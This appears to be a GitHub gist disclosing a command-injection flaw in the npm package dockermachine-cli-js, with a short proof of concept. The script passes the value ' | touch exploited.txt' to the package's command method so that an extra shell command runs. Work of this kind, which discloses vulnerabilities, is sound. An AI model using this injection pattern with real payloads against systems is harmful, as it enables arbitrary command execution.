Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active October 29, 2023 12:09
Show Gist options
  • Save mcoimbra/4af4d65fd2a10dcfcd3b67acc6945a62 to your computer and use it in GitHub Desktop.
Save mcoimbra/4af4d65fd2a10dcfcd3b67acc6945a62 to your computer and use it in GitHub Desktop.
Package dockermachine-cli-js: A DockerMachine instance can be created through a child process started by the package. Possible to inject a command (e.g. ' | touch exploit.txt') through the parameter of its command method.
'use strict'
const pkg = require('dockermachine-cli-js');
const d = new pkg.DockerMachine();
const commandStr = ' | touch exploited.txt';
// An 'exploited.txt' file will be created locally.
d.command(commandStr);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment